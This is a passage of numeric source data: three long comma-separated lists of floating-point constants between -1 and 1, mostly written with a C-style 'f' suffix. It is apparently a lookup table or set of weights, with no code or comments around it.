-0.138958982219446f, 0.267024801687456f, -0.975771109955874f, 0.314682157086949f, -0.378801381286130f, 0.665990927256163f, -0.573674360032848f, -0.860450785684384f, 0.516581474078532f, -0.190844183471714f, -0.451971355445856f, -0.808113003973650f, 0.860446168028895f, 0.377778958059242f, 0.126949039950121f, -0.892203650250330f, 0.572503460980517f, 0.975224974978800f, -0.202312370945465f, 0.500665599343084f, -0.0510413720986291f, 0.353231752436633f, -0.805555931906752f, -0.199761377956955f, -0.829487282239605f, 0.0282459088867508f, 0.814545057118991f, 0.557652277921578f, 0.613951716518862f, -0.678811366342345f, 0.896500288318877f, -0.627622562398925f, 0.802545092571611f, 0.211382709497062f, -0.979380222642662f, 0.826784411456488f, -0.670689878657734f, 0.788878029765924f, 0.137070906151783f, 0.901907287859132f, -0.526217367070263f, -0.545043827128876f, 0.494756249972086f, 0.236657948774128f, 0.156603327087660f, 0.516397244064118f, -0.325837179590292f, 0.460683385171580f, -0.196022953760504f, -0.441996357332195f, -0.808932369852494f, 0.291980108741838f, -0.833583979826152f, 0.365574438479475f, -0.797139524158001f, -0.0649288183732912f, -0.000696491493834994f, 0.100125393693922f, 0.598035350719377f, -0.312548404453564f, 0.0414605409182345f, -0.675913083156432f, 0.236245026389435f, 0.550464243484224f, 0.193366907856750f, -0.903654015709839f, -0.00993172527377806f, 0.0180900754210873f, 0.880678290110106f, 0.166539520562349f, -0.984509466189118f, 0.810283124477894f, -0.925371921448173f, 0.193528916069728f, -0.748644561903135f, 0.534508666819454f, 0.364436869280188f, -0.386979667637943f, 0.427958998441480f, 0.362750270039032f, 0.420886957715891f, 0.0300301961707390f, -0.655220626875711f, 0.0504522662127427f, 0.472640818703213f, -0.417745816013639f, 0.0689992794158720f, 0.461232479061866f, -0.483517586427718f, -0.411463769964024f, 0.622740736364726f, 0.659687134578680f, 0.243900134982579f, -0.684356227282321f, -0.688699031115733f, -0.316032121634021f, -0.644296362948831f, -0.236133265458216f, 0.880259454885881f, -0.956880609581177f, 0.737775899964131f, -0.529059297472703f, 0.794119601436042f, -0.375698158660466f, 0.493447663117292f, -0.752511119115434f, -0.941143365329844f, 0.610101048864035f, 0.253791011658991f, -0.369994602049336f, -0.697364270085742f, -0.681360550250048f, -0.571943442128960f, -0.749697324128684f, 0.611997629275096f, 0.892727938106141f, -0.440225399106758f, 0.00196047981855352f, 0.951252158369648f, 0.0351885308766962f, -0.471806546113710f, -0.657231535594911f, -0.0873481442406481f, -0.0341288006282565f, 0.579184398564974f, -0.224334624306026f, -0.298557652719061f, -0.509401519638379f, 0.188853505083675f, -0.321619146497229f, -0.613159956450671f, 0.570042044631281f, 0.699213203307007f, 0.537439231469861f, 0.529440733283839f, -0.744527226912905f, 0.362949055807175f, 0.529758698714545f, -0.114804719889245f, 0.991089489396930f, -0.186716454683287f, -0.218189173574106f, -0.0493780858124198f, -0.928812411399224f, -0.101855573638590f, 0.454268528366586f, 0.617591620012079f, -0.197519518988231f, 0.0973277590468935f, -0.185672509894105f, 0.649922648337967f, -0.896862900376972f, 0.594999589349510f, -0.746978997769556f, 0.590642952628647f, 0.935109901616311f, -0.293310684054096f, 0.783281817912060f, -0.189898897214222f, 0.414859016240278f, -0.0858574647662298f, 0.0810260863380805f, -0.633024441577653f, 0.248442861097829f, 0.984586601784679f, 0.982811638387854f, 0.547456083836220f, 0.476239638753291f, -0.897709902882279f, -0.208045489357872f, -0.860637131636973f, -0.496740558564284f, -0.944185351410090f, 0.157610983944341f, 0.975214099838643f, 0.550265718083095f, -0.630360326400067f, 0.672420341653334f, -0.897139264107564f, -0.670556423663785f, 0.298764071000339f, -0.310465384759529f, -0.978153640586955f, 0.189785151994709f, 0.929291975296760f, 0.758271912876084f, 0.806829662560108f, -0.472787451147715f, -0.802032434276146f, 0.455809631085663f, 0.985520713417984f, 0.739637167649794f, 0.311705106454777f, -0.120539152808323f, 0.977785717545631f, -0.848554870988208f, -0.281179241544089f, 0.931102239520177f, -0.255243432382956f, -0.284952242030900f, -0.189341152192864f, 0.647573166562597f, -0.474203015584843f, -0.545915610099538f, 0.672696420688916f, -0.239274489717776f, 0.956544960216021f, -0.0858024073600807f, -0.758223415922611f, -0.00817763648068581f, -0.500893489164054f, -0.669386983409311f, -0.344450617815217f, -0.728051392792875f, 0.804121117816188f, 0.00718436691280910f, 0.195237363230272f, -0.472485206728796f, 0.642070241911164f, -0.272384993247314f, -0.731715323915071f, -0.791266589031733f, 0.0339783427570857f, 0.0696513783219659f, -0.894169486972683f, 0.00234016305501483f, -0.0403382685361653f, -0.943600572111266f, -0.788181603936192f, 0.851406365407377f, -0.100015982664501f, 0.145502229793638f, -0.528736628076536f, -0.0313760382570432f, -0.662221611141088f, -0.885722031379862f, -0.744257140212482f, 0.524976313116033f, 0.186092035304635f, 0.181669793648209f, -0.606482674165339f, 0.849303544554227f, 0.226118051135263f, -0.690025550727719f, -0.256543384397548f, -0.207714017766381f, -0.447913202664626f, 0.375270273897879f, -0.884312586292038f, -0.0838720085819762f, 0.969898436757285f, -0.736808033249456f, 0.668875150485586f, -0.599937439969920f, 0.470077288925414f, 0.903135367105719f, -0.895619185450694f, -0.637694108244489f, 0.572669535020987f, -0.696211470281632f, -0.820577518545193f, 0.937364674938455f, 0.422458818039761f, -0.593964370461091f, -0.586264791612426f, 0.0282373486927521f, 0.298051147134121f, 0.592825359583763f, 0.716195674857467f, -0.684008410968338f, -0.167523841045924f, -0.370794208549223f, 0.768054740581884f, 0.997835641681024f, -0.366262133888883f, -0.523114034556271f, -0.457946740456489f, -0.530941146838744f, 0.298744841822404f, 0.390761228562591f, 0.0871171594445448f, 0.764002674223649f, 0.233966808661423f, -0.116573523634048f, 0.426118986433559f, -0.255934695328716f, 0.302314199650152f, -0.254971729124577f, -0.330865677738578f, -0.0840307537517577f, -0.711910586170446f, 0.622585361690409f, 0.367595248366733f, 0.422102667722561f, 0.269580206097961f, 0.707083822001774f, 0.625367208198523f, -0.729594790471199f, 0.708679674727951f, 0.00355767003560614f, 0.379158300246371f, -0.688791438249760f, 0.261637457245975f, 0.704008781391790f, -0.917586017594177f, 0.886443038824615f, -0.923559496787343f, 0.360365726214756f, 0.547058288460181f, -0.279853192856989f, -0.996331953899586f, -0.323735921605962f, -0.618788277975037f, 0.314597206161166f, 0.106380963133907f, -0.235044228453968f, 0.0406899091091886f, 0.687339428801573f, 0.344837805924860f, 0.123214914005620f, -0.735264225932133f, 0.0396243248944774f, 0.270602083588730f, -0.316104623194235f, 0.201800731173529f, -0.348987679395254f, 0.994312100135549f, -0.986073454140000f, -0.787571177818193f, 0.508460947811657f, -0.443663972776222f, 0.800303477136838f, 0.712158443474503f, 0.958364684407633f, -0.0512343510942759f, -0.391095518504938f, -0.291911155637644f, 0.721770656984705f, -0.163541232110535f, 0.0366644501980513f, 0.700853097239887f, -0.508089885354834f, -0.375072588159867f, 0.161585369564288f, 0.686325557438797f, -0.113188612544717f, 0.859354598908873f, -0.723198679696606f, 0.398879124170303f, 0.139357627051752f, 0.484780500073663f, -0.0437501438537016f, -0.868783676783105f, -0.147865612288567f, -0.116480069295514f, -0.986846049950927f, -0.859405305954576f, -0.631359938031082f, -0.0310065270390489f, -0.288382201791710f, -0.500960878568203f, -0.805633068309090f, -0.837604329816134f, 0.0325253228618525f, -0.538953832190091f, 0.913844038280417f, 0.681967460199437f, -0.656775429658090f, 0.922492558885196f, -0.689527254640680f, 0.688263898240070f, -0.225450858342925f, 0.0287239965989763f, -0.407744573364816f, -0.477326718671529f, -0.780374037627418f, 0.500400378743065f, -0.532646941279704f, 0.999679272201893f, 0.136003002234441f, -0.811267727922649f, -0.585019862511894f, 0.125465493193590f, 0.203160759437510f, -0.101322607820275f, 0.543784310894398f, 0.630139383695983f, 0.775322422120693f, 0.229262447827729f, -0.656821799421711f, 0.795940998463793f, 0.263281283116320f, -0.377237794697631f, -0.714267543277316f, -0.161924029976839f, 0.804294011825499f, -0.500488029613262f, 0.716655543045374f, -0.709565530287520f, -0.260746944768714f, -0.496886497176178f, -0.896154699339640f, -0.891352204187934f, 0.0589172685048254f, -0.952496908556348f, -0.543314015084183f, 0.0724005345282401f, -0.132089156895576f, 0.694937364018361f, -0.884509342587775f, -0.944587795707932f, 0.346949362800262f, -0.587900264454839f, 0.531217960795664f, 0.404240620498887f, 0.182769547944683f, 0.804826966991636f, 0.601398794220406f, -0.767933817870427f, -0.329693990599177f, -0.880648189418561f, 0.0370834298504716f, -0.405270662847564f, -0.551993194163015f, 0.357335885219159f, -0.442910616174561f, -0.978355051725551f, -0.638907517841606f, 0.266841057307734f, 0.778698832906031f, -0.967180516636130f, -0.772940622039654f, -0.268706136695081f, -0.326082261974967f, 0.0386785617389067f, 0.576293286973562f, 0.446884000380730f, 0.396703264915684f, -0.718633572608705f, 0.586041202195072f, -0.791039546767268f, 0.556638124682382,
0.728711593864679f, -0.576551104247230f, 0.690227524206044f, 0.0451432373341216f, -0.0569690667958747f, 0.877674150343795f, -0.268602876493051f, -0.770720641807978f, 0.630269600593677f, 0.801702094819180f, 0.177071915997341f, -0.0764831522886398f, -0.476930347674815f, 0.0196833210809626f, -0.566188434097295f, 0.309890567123613f, -0.642682312350471f, -0.645839718540077f, -0.985031719881713f, 0.153028235575708f, -0.446724738384881f, -0.616280949001367f, -0.306418078463084f, 0.313048512921978f, 0.944732667717825f, -0.292311689238647f, 0.263616032352334f, 0.776777395064071f, -0.529182830991988f, -0.418996105801001f, 0.286960890623362f, 0.588336822287104f, 0.268219370126612f, -0.696727535489037f, 0.806089151192541f, 0.0396168299208206f, -0.613570658239778f, 0.358002315998429f, -0.0576147175733950f, -0.859664908314368f, 0.930793190364908f, -0.108955403960031f, 0.640347446939098f, 0.0301817512477458f, 0.508435547839785f, -0.774928250619894f, 0.254548271045827f, -0.192551571812315f, -0.401867317012389f, -0.136220787532581f, -0.480363308055205f, 0.146599399729624f, 0.225767301672040f, -0.207158678688912f, 0.763491487133281f, 0.161192803873192f, -0.574968151683314f, -0.454043408746924f, 0.427131132989065f, 0.170648543751820f, 0.0690597676805780f, 0.0360172652133248f, -0.244429817416531f, -0.973014074152018f, -0.172642279134011f, -0.798684796670922f, -0.622626145444778f, -0.743408670602069f, -0.316057396003030f, 0.908608689971065f, 0.948356574904685f, 0.573858539226522f, 0.457065605245418f, -0.246203048690671f, -0.750525340546383f, 0.612971646035183f, 0.951528788403619f, -0.529776510809815f, 0.0886901849846271f, -0.0254136796699882f, 0.978897595553096f, 0.293893753097695f, 0.620217642132267f, 0.862352989549627f, -0.379040515436326f, 0.790157871471479f, 0.147151952442201f, 0.688271487774812f, -0.897847532497188f, -0.0355337105008888f, -0.850253422176695f, -0.0354384862653523f, -0.625796807949394f, 0.851730076897135f, 0.294773618291289f, 0.834287219330433f, 0.0758749738551283f, 0.912613321307355f, -0.326698079590551f, -0.844748577890143f, -0.685263599922107f, -0.197029963909655f, 0.591416614029013f, -0.130921826828109f, -0.524292687689084f, 0.356220524225632f, -0.150091552835503f, -0.935232109847821f, -0.302103008478127f, -0.998557516519010f, -0.477012685701094f, -0.882343341754284f, 0.210797034143964f, -0.963566378978947f, -0.855600913755685f, -0.790231379847513f, -0.625235937382084f, 0.106405105589857f, -0.760544427202586f, 0.0103124858505332f, -0.610157345750845f, 0.968354521575116f, 0.602472069136318f, -0.216458111191680f, 0.935180184275450f, -0.369261245032360f, -0.289325139062185f, -0.772389696964545f, -0.345513639348744f, 0.135539262008296f, -0.747409495863324f, -0.849724942811800f, -0.739393030129744f, -0.0301380087411172f, 0.373808817820448f, 0.760444548005323f, -0.365739960428504f, 0.121859476627292f, -0.719257541809299f, -0.136914676340304f, -0.178479405732130f, -0.336676444507223f, -0.795056125367297f, -0.0872862684496700f, -0.950510559362909f, -0.395266512078238f, 0.636773305385949f, -0.150667208767723f, 0.534401287220298f, -0.349371424663528f, -0.784729313810243f, -0.0510904599006878f, -0.938702345462904f, 0.616929636007953f, -0.228578318449040f, 0.239101663221907f, 0.0390879233281141f, -0.294705782740043f, -0.847928516841798f, -0.0480433695823821f, 0.487351505367245f, -0.820736333448301f, 0.128692585024021f, -0.305133215914817f, 0.344900079505924f, -0.764316168982242f, 0.717529584295197f, 0.655848670831377f, 0.479849611138232f, -0.107624564628078f, -0.345816374073252f, 0.0822414215758816f, -0.0120870567528208f, 0.475870901669481f, -0.00594923432583361f, 0.869227669945672f, -0.262862047504512f, 0.272430399676396f, -0.734262318791166f, 0.980593493214018f, 0.110413869658192f, -0.732486564250777f, 0.470756873196238f, 0.897133387901917f, -0.151953973158384f, -0.591296220619271f, -0.113167158942796f, -0.103020520738423f, 0.220384226627647f, -0.0570027879342681f, 0.0923157145066511f, -0.523010309215342f, 0.385053964060568f, -0.223938668105458f, -0.0566497019068211f, 0.636390081595965f, -0.753651530578004f, -0.765450358896516f, 0.790370075460245f, 0.622949415286967f, -0.0947634056426396f, 0.122381201893998f, -0.138573523511105f, -0.544298107235542f, 0.535416341314523f, -0.341107295330707f, 0.266262786345860f, 0.620108481133049f, 0.190424987800150f, 0.978559599202704f, -0.925772919482004f, -0.300038300695816f, 0.963372836978511f, -0.501235224357981f, 0.828375446308031f, -0.595716120481773f, -0.889271354193173f, -0.389843123593065f, 0.659433696092409f, -0.633476165557619f, -0.708607689555741f, -0.737738480460783f, 0.985245299432648f, 0.976853985813928f, -0.863072444190232f, -0.785830171723126f, 0.309433061520758f, 0.166813366328975f, -0.552916412621405f, 0.0385101740167735f, 0.445866961855263f, 0.222557362424800f, 0.0710515871571971f, -0.368563489700928f, 0.317406114361191f, 0.326902000037272f, 0.868261309598320f, -0.897838476369198f, 0.664364291232529f, -0.373333343843574f, -0.599809263387549f, -0.411236387818613f, -0.118186587264933f, 0.544960929851182f, 0.395925813072269f, 0.337332244255533f, -0.0195528742963547f, -0.580383437020279f, 0.0779554182143842f, -0.902635825594202f, -0.821554429188969f, 0.869996816042779f, 0.646142135585380f, -0.0824693320525758f, 0.643317857725100f, -0.903892480205129f, -0.457595546004975f, 0.540461917564665f, -0.467530238695992f, 0.107497588388074f, -0.122360487746121f, -0.276968072230331f, -0.436413500733568f, 0.0719555518906898f, -0.794937479672675f, -0.641344733876686f, -0.934734152781945f, -0.0610463967348016f, -0.302623058375597f, 0.281116298309257f, 0.557459622053789f, -0.350054779110337f, 0.681853624031498f, -0.0454067482892435f, -0.897204174835461f, 0.0289327275291300f, 0.664312739864751f, -0.368814604980581f, -0.576946854776660f, -0.187886132141311f, 0.424385580259236f, 0.257994303715228f, -0.567650112011742f, -0.0453371545575014f, -0.362909825264387f, 0.450095578912812f, -0.713870209574945f, -0.956583539581944f, -0.969891699048729f, -0.417755773448598f, -0.230738535348142f, -0.153353095644968f, 0.539368458440622f, 0.591116036659417f, 0.779095541288385f, -0.578525766017613f, -0.587777137316663f, -0.301051260910212f, -0.319655538885669f, -0.343495369437935f, 0.908167583226333f, 0.764220052027033f, 0.0536418758245909f, -0.0529753241803754f, 0.249066042857931f, -0.840152142252005f, -0.529971459254312f, -0.449462194610696f, 0.467144819001113f, -0.500103828192601f, -0.758390449663076f, 0.369740436821770f, 0.189153926151852f, -0.188283227959439f, -0.427563759945909f, -0.186773725840825f, -0.00989853573399446f, -0.783648829817413f, -0.626450875837851f, -0.328015817185970f, 0.760383401930071f, -0.00804531008117837f, -0.982799468341000f, 0.392730506677802f, 0.117799138097530f, 0.351088974844522f, -0.259750164530173f, 0.776495358243216f, -0.703059519879109f, -0.362866233240751f, -0.421345310205860f, -0.818968876330675f, 0.936887497269786f, 0.713300632813635f, 0.916608801523944f, -0.147818975792564f, 0.317064988534009f, 0.885779227314381f, -0.897706599297367f, 0.685423132064732f, 0.907830438936990f, 0.0636614655685575f, -0.423018627861747f, 0.411565657893159f, 0.911060408474647f, -0.617833142759668f, -0.709543522964145f, -0.817633731247023f, -0.252433983274424f, 0.160456393103956f, -0.160765428576997f, -0.622001061437904f, -0.470257555319641f, 0.790643274059634f, -0.648181378655916f, -0.828694900506363f, -0.0234091767546987f, -0.562865077760768f, 0.369299949506391f, -0.423850142805423f, 0.520699811923658f, -0.877662359466779f, -0.739844704434180f, 0.300520939787139f, 0.0655718600121620f, 0.970843358712180f, -0.634231195336845f, 0.324880041395596f, -0.479089635857354f, -0.196422753715449f, 0.568762754402869f, 0.699215376070842f, 0.445741923102597f, 0.679868900756090f, 0.107609859752086f, -0.980983474461865f, -0.788419140653730f, 0.0696289436185713f, 0.00330944186568516f, 0.392265626672398f, 0.803469542460994f, 0.131029913648810f, -0.845408454497170f, -0.754797811352229f, -0.824208086798235f, 0.510072775586974f, -0.809491727769575f, -0.0228491196350333f, 0.920014947791232f, 0.441066319826495f, 0.969846842038360f, -0.199024726691046f, 0.886564290041856f, 0.203997575245743f, 0.481547443573126f, -0.637742489331117f, 0.0664642070998316f, 0.109187062068770f, -0.952676759642045f, 0.309247049771982f, 0.880534651306060f, -0.269363005485603f, 0.280012695899358f, 0.853031642671923f, -0.216236966392235f, 0.903180305900435f, 0.837949615815047f, 0.748563816043584f, 0.266735542018788f, -0.685176037557414f, 0.505893787666761f, 0.977721983069541f, -0.667151469253569f, -0.451774081267849f, -0.385755850727233f, 0.681037251596535f, 0.550130384863457f, 0.704080312734731f, 0.519624533199220f, 0.789651392050294f, 0.176325856625025f, 0.684011432098839f, -0.469125761119035f, -0.841814129063957f, -0.901473334652527f, -0.117747872709914f, -0.608533033968273f, 0.199709646080986f, -0.349430401438670f, -0.435162733168206f, -0.368150014673779f, 0.699084004342174f, -0.446068942643995f, 0.197420740774886f, 0.524893584115327f, 0.706475758890142f, 0.912020785879679f, -0.820472223153770f, -0.334742316079635f, -0.851724976994477f, -0.702164662784812f, -0.649654462810552f, 0.411435475616403f, -0.0438368033650360f, 0.799231452421757f, 0.713371883779316f, 0.252437083518609f, -0.685658163265283f, 0.0734649179831324f, -0.400549431226783f, -0.415602545578540f, 0.233864615718965f, 0.828846528739923f, 0.606577491175688f, -0.266016048272811f, -0.619106744484090f, -0.690853262778644f, -0.503499724631377f, -0.409761822901473f, 0.0576293548519007f, 0.551582021066584f, 0.132631452787255f, -0.838228405334512f, -0.107475742619267f, -0.875306852866273f, -0.184700469068763f, -0.317074087896838f, -0.580912620700556f, 0.453916157844897f, 0.690470988649940f, 0.712835197480083f, 0.314786689622726f, 0.759835688452120f, -0.671090442836235f, -0.408277610289776f, -0.815988422173708f, 0.227854929660384f, -0.0482646895577266f, 0.968141192561708f, 0.373896367655818f, 0.820435826598941f, 0.817746838197885f, -0.0970819110331989f, 0.679170154451559f, -0.577986561676471f, -0.0523570914231941f, -0.776930151133931f, -0.560456597170701f, 0.927747720961181f, 0.0350177837302503f, 0.844938034137843f, 0.00849044473190053f, 0.325089161670337f, -0.851825175889265f, 0.835251667623832f, -0.266397917890485f, 0.108463887056499f, -0.817868888235156f, 0.590399913800720f, 0.699274619715208,
0.200782223352391f, -0.936155874445214f, 0.218471971175575f, -0.890402779861849f, 0.268496441855317f, 0.881231954583528f, 0.279360358017994f, -0.492400368838405f, -0.894376670076375f, 0.585129064098519f, 0.340135248071744f, 0.455880107692993f, -0.861081993524584f, -0.303321115935151f, -0.562781799622214f, -0.526041750296426f, 0.999581943964160f, 0.249814139040315f, -0.0537475603822974f, -0.845239239849439f, -0.874024176808607f, 0.997751771128387f, -0.861617607547820f, 0.671357923629889f, -0.687974310115279f, -0.969462039056016f, -0.448304961870341f, 0.713064428261850f, -0.00718668165564318f, -0.450608596544700f, -0.106059234376561f, -0.591961308554238f, 0.588633089685867f, -0.755341317752403f, -0.542715401462936f, 0.759199260356047f, 0.0297710796506234f, -0.997343196630657f, 0.574076752994254f, -0.696719940193256f, -0.852227517176613f, 0.906332566627663f, -0.171801252847090f, -0.925131151948528f, -0.0212194634560026f, -0.940316444070044f, 0.262965279952363f, 0.902198615594563f, -0.265057066430189f, 0.161983092277652f, 0.0181345459457500f, 0.467973650469608f, 0.857351800575040f, -0.889882538061811f, 0.728868283859490f, 0.671187732362764f, -0.296882575397444f, -0.793099233276668f, 0.335561922676737f, 0.0671874495572633f, -0.0857142329385701f, -0.352870876674233f, -0.119927139078065f, 0.814127111105761f, -0.323910302649634f, -0.313495077982818f, 0.0690526899468447f, 0.877155536890319f, 0.768040884649443f, 0.158910636324140f, -0.824414709871474f, 0.00718921022841235f, -0.868917281154898f, -0.564967532196669f, 0.206261416621150f, -0.0699574404456100f, -0.0547095858591442f, 0.811674902353136f, -0.562993920383635f, 0.441212008804309f, 0.917951119557396f, 0.915571961092301f, 0.0901952529553498f, 0.614118141118295f, 0.760473529905706f, -0.566505475760865f, 0.00880029006400429f, 0.975626259597421f, 0.370738159620831f, -0.0242162976348563f, 0.828887690189252f, -0.665240810020082f, 0.00123256686221063f, 0.184020074202841f, 0.829917510366750f, -0.447854906466885f, 0.529356328938248f, -0.995192699858126f, -0.843748622724646f, -0.422765372440245f, -0.386179414096638f, 0.206325400140261f, -0.369817591904938f, 0.266933785902425f, 0.892617584642659f, 0.740018647415220f, -0.481907279471296f, 0.248268418729551f, -0.382770749117505f, 0.974424303757207f, -0.879320252286332f, -0.0294961755317245f, 0.638693329623790f, -0.765127178629299f, -0.160881380476610f, -0.725001019123526f, 0.00294709357263234f, -0.701949969294570f, -0.708933381768328f, -0.463893635537772f, 0.476650147791524f, -0.206043208566879f, 0.223011684523516f, -0.258637160422673f, 0.206325908651728f, -0.432336904344548f, 0.921979975841259f, -0.944396630315761f, -0.00680582426415510f, 0.319263487872783f, -0.836389324192867f, 0.111532890274445f, -0.938142383682239f, -0.637288670131655f, -0.834211558255576f, 0.251969378874330f, -0.970874587083192f, 0.831662411079802f, -0.446568187924869f, -0.659109068071113f, -0.877869176622375f, -0.890670252448197f, 0.477602927742628f, 0.324737705007923f, -0.147513413112549f, -0.186594638422632f, -0.282864808082840f, 0.745093922271927f, 0.915500859154332f, 0.0421588655873384f, -0.483320910754088f, 0.00503734690385604f, 0.555792895688253f, 0.129412601050279f, -0.229347983583150f, -0.680101211823600f, -0.866063899229274f, 0.437769924839021f, 0.133958234316391f, 0.589233411145099f, -0.498053917701437f, 0.180863681584405f, 0.525955777469479f, -0.581250985307273f, -0.327934857804250f, 0.482381204171926f, -0.867703472610278f, 0.833733008515087f, -0.607761820334944f, -0.758512235503178f, 0.0380785706067470f, 0.719862150842292f, 0.651283470517919f, -0.614218162858801f, -0.239754124815405f, -0.733992057859951f, -0.422541764223845f, 0.951215428883086f, 0.882569470276544f, 0.937054481646402f, 0.184532408731968f, -0.104097666585483f, 0.693277433170057f, 0.800241936558839f, -0.998230532922071f, 0.259835639125661f, 0.562745639592536f, 0.220441127510705f, 0.313735993201991f, 0.330940415696351f, -0.602872424656300f, 0.841677792852844f, 0.749701489563795f, 0.266727039860087f, 0.696379094133993f, -0.430719144952456f, -0.276768289732264f, -0.0872580230244173f, -0.722033206227688f, -0.837309584159114f, -0.629739366225350f, -0.185692585028452f, -0.110619837317415f, 0.515881116042359f, -0.105875685978079f, -0.513700186568578f, 0.961245417898430f, 0.655513716233953f, -0.0921704793645632f, -0.694925472850399f, -0.872174817305748f, 0.0307133806779607f, 0.531120672076921f, 0.965271277398122f, -0.00974420246777163f, -0.497322783064087f, 0.693565685926388f, 0.546918707342947f, -0.230039497490898f, -0.316024461029338f, 0.684231559582941f, -0.306362794944468f, 0.861366189035942f, 0.378922635334764f, 0.259443877770437f, -0.838617128408830f, -0.205350631644011f, -0.139772960377519f, -0.192918167939180f, 0.602404904043886f, -0.537407583974730f, -0.877007125624351f, 0.361539942609439f, -0.732030207831016f, -0.488792995226420f, 0.612591017966442f, 0.567185560938756f, 0.195543595335781f, -0.428955670554558f, -0.666590144318038f, -0.702467396810860f, -0.894350832807439f, -0.0620405855731709f, -0.583114546325259f, -0.482155957064968f, 0.212152442925647f, 0.112603107288251f, 0.0683986906619714f, 0.639176340917929f, 0.642610005510521f, -0.708605273163374f, 0.739594669131005f, -0.492786220480274f, -0.308196102291547f, 0.918748221553053f, 0.186736140989674f, 0.438437026242591f, 0.638769573344929f, 0.928896220524135f, 0.579945520523175f, 0.218608554904045f, -0.526070140579576f, -0.140303420071590f, 0.304347769360423f, 0.488123173638490f, 0.987207018313181f, -0.536397951752998f, -0.553296120219359f, 0.184294880372153f, -0.101502970339396f, 0.287041514309517f, 0.658172721877726f, -0.270141883431914f, -0.0196021946303913f, 0.000779126872975988f, -0.0500294515684538f, -0.588505226599557f, 0.550916571982769f, 0.703271386531766f, 0.982335628009701f, 0.942133544852489f, 0.690741953320684f, 0.0466423349204477f, -0.941178278727504f, 0.121655023640973f, 0.777925151322362f, 0.132430336075323f, -0.114812120408198f, -0.694094073965245f, -0.441397675924967f, -0.187253074701348f, -0.672248118097589f, -0.688869123609503f, -0.0723581859661586f, 0.553779536791160f, 0.380610143087564f, -0.392032089052147f, -0.709403552653908f, -0.607184251637473f, 0.698227587629545f, -0.272885954851784f, 0.0736609147840435f, 0.687106303730018f, -0.230362931709251f, 0.393640839382244f, -0.846905732907407f, 0.0727598538725249f, -0.0119849190815611f, 0.470122652313157f, -0.171681529301612f, -0.329268850654460f, -0.433013841687086f, -0.943499527192280f, -0.123404693276305f, -0.0861435714812342f, -0.228816973160929f, 0.0531549757963279f, 0.901446101051298f, 0.470738280922993f, 0.238383552115632f, 0.292841887198914f, -0.617423653544601f, -0.865786115828523f, 0.586332203179351f, 0.267618252846898f, 0.888575002575769f, -0.0220649407038027f, -0.946385428026066f, 0.317436113017866f, -0.277195072909682f, -0.207326502081016f, 0.735387675940421f, 0.961386190882120f, -0.564038045970629f, 0.840007249305217f, -0.262593952346269f, -0.556378761937190f, -0.346529850864238f, 0.00895460576800877f, -0.695431082536551f, -0.105261635693881f, -0.658342101938401f, -0.631093613961188f, 0.601639903111316f, 0.886830692209879f, -0.600591324826329f, -0.350296019796741f, 0.294348102011741f, 0.555826495708193f, 0.216370653207427f, -0.672654026881445f, -0.572202359802723f, 0.202776438466314f, -0.490708964058038f, 0.0148723360197853f, -0.799031226692943f, -0.221164759306209f, 0.0323674121757880f, -0.130290693568615f, 0.613592603765503f, 0.372755498065474f, -0.540502917956863f, -0.740021877141017f, 0.652888612951242f, -0.666157898478327f, 0.476156241264794f, -0.632081251666311f, -0.538341981270842f, -0.275717185193560f, 0.332983363477103f, -0.989659450166330f, 0.212868816589688f, -0.238985653168422f, -0.453005976359810f, -0.805975530848911f, -0.948192632970312f, -0.291329963979224f, 0.549811667826684f, 0.291147979443248f, 0.909805561757383f, 0.0728533843443158f, 0.737767652888933f, 0.605331616290165f, 0.274826946403577f, 0.710517586349601f, 0.666670055891909f, 0.522059053677516f, -0.553398792071804f, -0.406610321679562f, -0.893232547853708f, 0.549587730399741f, 0.714498083720551f, 0.281833380830291f, 0.652788061587949f, 0.825163748516741f, 0.381299333971584f, -0.485549061474930f, -0.881961689917888f, 0.308937809723222f, -0.524542880617761f, 0.329114405956449f, 0.434631551667457f, -0.894732322264538f, -0.831528385961058f, 0.669760583803638f, -0.674650675537928f, -0.373119878846435f, 0.456602566684508f, 0.387804792569985f, -0.556983911869482f, 0.000826745899317194f, 0.687973801099889f, 0.0471935422816141f, 0.0768302380434509f, 0.317557055919800f, -0.823316513699125f, 0.394699119350099f, 0.609556161256400f, -0.0413041171293194f, -0.244100882405517f, -0.939678976894569f, 0.403390183804743f, -0.933567523933859f, -0.331149894636631f, -0.0265881324103010f, 0.224249195386459f, 0.888271870759308f, -0.119845268644579f, -0.357275416804345f, -0.597001288429956f, -0.486847206619720f, -0.181232488650601f, 0.115441291842326f, -0.599055795186955f, 0.213179364205327f, -0.205238322081458f, -0.373942142629613f, -0.610680997090469f, -0.495737765362772f, -0.257634306994249f, 0.583708320566486f, -0.372047136603982f, 0.953878668619925f, -0.632595987923462f, 0.452049761997455f, 0.166602807787896f, 0.773555002555059f, -0.277154387560832f, -0.557129156714301f, -0.985242402457283f, -0.441173064787937f, 0.561221765682284f, -0.352004972295446f, 0.970292440826449f, 0.855523836321424f, -0.528113079339624f, 0.685454746939680f, 0.322200261898966f, 0.953249967336372f, 0.825673980624808f, 0.177229970128320f, -0.728281956776614f, -0.479030792350269f, -0.00697019557862144f, 0.851652517094715f, 0.853865750362844f, 0.514736989335681f, -0.943509205199198f, -0.0524009027225623f, -0.0798997671509367f, -0.355414349557791f, -0.366273957594958f, -0.565729285138989f, -0.931573923976439f, 0.345119269147864f, 0.638375370217726f, 0.711524360229150f, 0.331664704859388f, -0.986788646426241f, 0.521200596781614f, 0.656290865944842f, -0.436907564088290f, 0.305075696150381f, -0.848337345127939f, 0.354044695448027f, 0.690691708552038f, 0.900352213238582f, 0.475181192463882f, 0.219103309687964f, 0.885437995493547f, 0.421455288320496f, -0.879874221804522f, 0.893371290952196f, -0.545214090169942f, 0.800731783168682f, 0.249421864783476f, 0.0766192343033301f, -0.745747520609971f, -0.613575150364454f, -0.700199720327423,
